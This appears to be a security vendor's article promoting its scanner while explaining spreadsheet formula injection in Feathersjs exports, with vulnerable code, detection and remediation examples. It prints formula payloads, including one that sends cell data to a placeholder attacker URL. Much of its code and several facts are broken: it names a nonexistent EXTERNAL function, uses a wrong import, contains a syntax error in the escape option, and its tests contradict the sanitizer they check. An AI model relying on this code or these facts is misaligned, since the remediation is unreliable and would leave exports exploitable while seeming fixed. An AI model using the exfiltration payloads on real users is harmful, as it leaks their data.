HIGH formula injectionfeathersjs

Formula Injection in Feathersjs

How Formula Injection Manifests in Feathersjs

Formula injection in Feathersjs occurs when user-controlled data is embedded in spreadsheet exports without proper sanitization, allowing attackers to inject malicious formulas that execute when the file is opened. This vulnerability is particularly dangerous in Feathersjs applications that provide data export functionality for financial, business intelligence, or reporting features.

In Feathersjs, formula injection typically manifests through service methods that generate CSV or XLSX exports. The vulnerability arises when data from database queries or user input flows directly into spreadsheet cells without validation. For example, a Feathersjs service method might export user data:

import { csv } from 'csv-writer';
import { Service } from '@feathersjs/feathers';

class ExportService {
  async exportUserData() {
    const users = await app.service('users').find();
    
    // Vulnerable: User data flows directly to CSV
    const rows = users.map(user => ({
      name: user.name,
      email: user.email,
      balance: user.balance
    }));

    return csv.stringify(rows);
  }
}

The critical issue is that spreadsheet applications interpret certain cell values as formulas when they start with specific characters like '=', '+', '-', or '@'. An attacker could create a user with a balance field containing =ISNUMBER(SEARCH("password",INDIRECT("A1"))), which would execute when the spreadsheet is opened, potentially leaking data from other cells.

Feathersjs applications are particularly vulnerable when using hooks to transform data before export. Consider this hook:

import { HookContext } from '@feathersjs/feathers';

export default async (context: HookContext) => {
  const data = context.result.data;
  
  // Vulnerable: No sanitization of formula characters
  const sanitized = data.map(item => ({
    ...item,
    notes: item.notes || ''
  }));

  context.result.data = sanitized;
  return context;
};

When this hook processes user-supplied notes containing =FORMULA(1), the formula executes in spreadsheet applications. The risk is amplified in Feathersjs because services often handle financial data, inventory calculations, or sensitive business metrics that become targets for data exfiltration through formula injection.

Another common pattern in Feathersjs involves using template engines for report generation:

import { render } from 'ejs';
import { Service } from '@feathersjs/feathers';

class ReportService {
  async generateFinancialReport() {
    const data = await this.app.service('transactions').find();
    
    // Vulnerable: Template data not sanitized
    const html = await render('report-template.ejs', { data });
    
    // Export to spreadsheet format
    return convertToSpreadsheet(html);
  }
}

If the template renders values like <%= transaction.amount %> and an attacker controls transaction amounts, they could inject =EXTERNAL("http://attacker.com?data="&B2) to exfiltrate data from the spreadsheet.

Feathersjs-Specific Detection

Detecting formula injection in Feathersjs applications requires examining both the service layer and data export functionality. The most effective approach combines static code analysis with runtime scanning.

Static analysis should focus on Feathersjs service methods that handle data export. Look for patterns where user-controlled data flows to CSV or spreadsheet generation without sanitization. In Feathersjs, this means examining:

import { Service } from '@feathersjs/feathers';

class ExportService extends Service {
  async export() {
    const data = await this.find();
    
    // Check for these dangerous patterns:
    // 1. Direct mapping without sanitization
    // 2. Template rendering with user data
    // 3. CSV generation from untrusted sources
  }
}

middleBrick's scanner specifically identifies formula injection risks in Feathersjs applications by testing export endpoints with formula payloads. The scanner sends requests containing =FORMULA(1), +SCRIPT(), and -EXTERNAL("http://test") patterns to detect if the application properly sanitizes or escapes these characters.

For Feathersjs applications using TypeScript, middleBrick analyzes the type definitions to understand data flow patterns:

// middleBrick analysis identifies:
interface UserData {
  name: string;
  email: string;
  balance: string; // Could contain =FORMULA()
}

class UserExportService {
  async export() {
    const users: UserData[] = await this.find();
    return this.generateCSV(users);
  }
}

The scanner tests whether the export functionality properly handles edge cases like Unicode formula characters, multi-line formulas, and nested formula attacks. It also verifies if Feathersjs hooks that modify export data include proper sanitization.

Runtime detection involves monitoring API responses for formula indicators. When middleBrick scans a Feathersjs export endpoint, it checks if responses contain unescaped formula characters in positions where they could execute:

// Scanner test payload:
{
  name: "Test User",
  balance: "=EXTERNAL('http://scanner.test?data=')&A1",
  notes: "+MALICIOUS_SCRIPT()"
}

// Scanner verifies:
// - Are formula characters escaped?
// - Does the output contain dangerous formula syntax?
// - Are special characters properly encoded?

middleBrick also tests Feathersjs applications that use third-party export libraries like xlsx, csv-writer, or json2csv to ensure they're not introducing formula injection vulnerabilities through improper configuration.

Feathersjs-Specific Remediation

Remediating formula injection in Feathersjs requires a defense-in-depth approach that combines input validation, output sanitization, and secure export practices. The most effective strategy uses Feathersjs's hook system to implement consistent sanitization across all export services.

First, implement a sanitization hook that escapes formula-triggering characters:

import { HookContext } from '@feathersjs/feathers';

export default async (context: HookContext) => {
  const data = context.result;
  
  // Escape formula characters: =, +, -, @
  const escapeFormula = (value: any) => {
    if (typeof value === 'string') {
      // Check if string starts with formula character
      const formulaChars = ['=', '+', '-', '@'];
      if (formulaChars.some(char => value.startsWith(char))) {
        // Prepend apostrophe to force text format
        return `'​${value}`;
      }
    }
    return value;
  };

  // Handle arrays and objects recursively
  const sanitize = (item: any): any => {
    if (Array.isArray(item)) {
      return item.map(sanitize);
    } else if (typeof item === 'object' && item !== null) {
      return Object.fromEntries(
        Object.entries(item).map(([key, value]) => 
          [key, sanitize(value)]
        )
      );
    } else {
      return escapeFormula(item);
    }
  };

  context.result = sanitize(data);
  return context;
};

Apply this hook to all export services in your Feathersjs application:

import { hooks } from '@feathersjs/feathers';
import sanitizeExportHook from './sanitize-export-hook';

class ExportService {
  async export() {
    const data = await this.find();
    return this.generateCSV(data);
  }
}

// Apply sanitization to all export methods
hooks(ExportService.prototype, {
  export: [sanitizeExportHook]
});

For CSV generation, use libraries that support proper escaping:

import { stringify } from 'csv-stringify/sync';

class SecureExportService {
  async export() {
    const users = await app.service('users').find();
    
    // Sanitize data before CSV generation
    const sanitized = users.map(user => ({
      name: this.sanitizeCellValue(user.name),
      email: this.sanitizeCellValue(user.email),
      balance: this.sanitizeCellValue(user.balance)
    }));

    return stringify(sanitized, {
      quoted: true, // Force all values to be quoted
      escape: '\' // Proper escaping
    });
  }

  private sanitizeCellValue(value: any): string {
    if (typeof value !== 'string') {
      return String(value);
    }
    
    // Prepend apostrophe for formula characters
    if (/^[=+@-]/.test(value)) {
      return `'​${value}`;
    }
    
    return value;
  }
}

For Excel exports using the xlsx library, configure proper cell formatting:

import XLSX from 'xlsx';

class ExcelExportService {
  async export() {
    const data = await this.find();
    
    const workbook = XLSX.utils.book_new();
    const worksheet = XLSX.utils.json_to_sheet(
      data.map(this.sanitizeForExcel)
    );

    // Set text format for all cells to prevent formula execution
    const range = XLSX.utils.decode_range(worksheet['!ref']);
    for (let row = range.s.r; row <= range.e.r; row++) {
      for (let col = range.s.c; col <= range.e.c; col++) {
        const cellAddr = XLSX.utils.encode_cell({ r: row, c: col });
        const cell = worksheet[cellAddr];
        if (cell) {
          // Force text format
          cell.t = 's';
          // Escape formula characters
          if (cell.v && typeof cell.v === 'string') {
            cell.v = this.sanitizeCellValue(cell.v);
          }
        }
      }
    }

    XLSX.utils.book_append_sheet(workbook, worksheet, 'Data');
    return XLSX.write(workbook, { bookType: 'xlsx', type: 'buffer' });
  }

  private sanitizeForExcel(item: any) {
    return Object.fromEntries(
      Object.entries(item).map(([key, value]) => [
        key,
        typeof value === 'string' ? this.sanitizeCellValue(value) : value
      ])
    );
  }
}

Finally, implement comprehensive testing in your Feathersjs application to verify formula injection prevention:

import { expect } from '@jest/globals';
import ExportService from './export-service';

describe('ExportService formula injection prevention', () => {
  it('escapes formula characters in CSV export', async () => {
    const service = new ExportService();
    const maliciousData = [
      { name: '=FORMULA(1)', email: '+SCRIPT()', balance: '-EXTERNAL()' }
    ];
    
    const csv = await service.exportCSV(maliciousData);
    
    // Verify formula characters are escaped
    expect(csv).not.toContain('=FORMULA');
    expect(csv).not.toContain('+SCRIPT');
    expect(csv).not.toContain('-EXTERNAL');
    
    // Verify data is properly quoted
    expect(csv).toContain('"=FORMULA(1)"');
  });

  it('prevents formula execution in Excel export', async () => {
    const service = new ExportService();
    const maliciousData = [
      { name: '=EXTERNAL("http://test")', value: '100' }
    ];
    
    const excelBuffer = await service.exportExcel(maliciousData);
    
    // Verify formula characters are properly escaped
    const workbook = XLSX.read(excelBuffer);
    const sheet = workbook.Sheets[workbook.SheetNames[0]];
    
    expect(sheet.A1.v).toBe('=EXTERNAL("http://test")');
    expect(sheet.A1.t).toBe('s'); // Should be text format, not formula
  });
});

Frequently Asked Questions

How does formula injection differ from XSS in Feathersjs applications?
Formula injection targets spreadsheet applications rather than web browsers. While XSS executes in the browser context through HTML/JavaScript injection, formula injection executes when users open exported files in Excel or Google Sheets. The attack vectors are different: XSS exploits HTML rendering and JavaScript execution, while formula injection exploits spreadsheet formula parsers. Feathersjs applications need separate protections for each - XSS requires HTML sanitization and CSP headers, while formula injection requires data sanitization before export generation.
Can middleBrick detect formula injection in Feathersjs applications that use custom export formats?
Yes, middleBrick's scanner tests formula injection across all export formats that Feathersjs applications might generate. The scanner sends formula payloads through your API endpoints and analyzes the responses for unescaped formula characters. For custom formats, middleBrick examines the response structure to identify where user-controlled data appears and tests whether formula-triggering characters are properly escaped. The scanner works regardless of whether you're using CSV, Excel, JSON, or proprietary formats - it focuses on the data flow rather than specific file formats.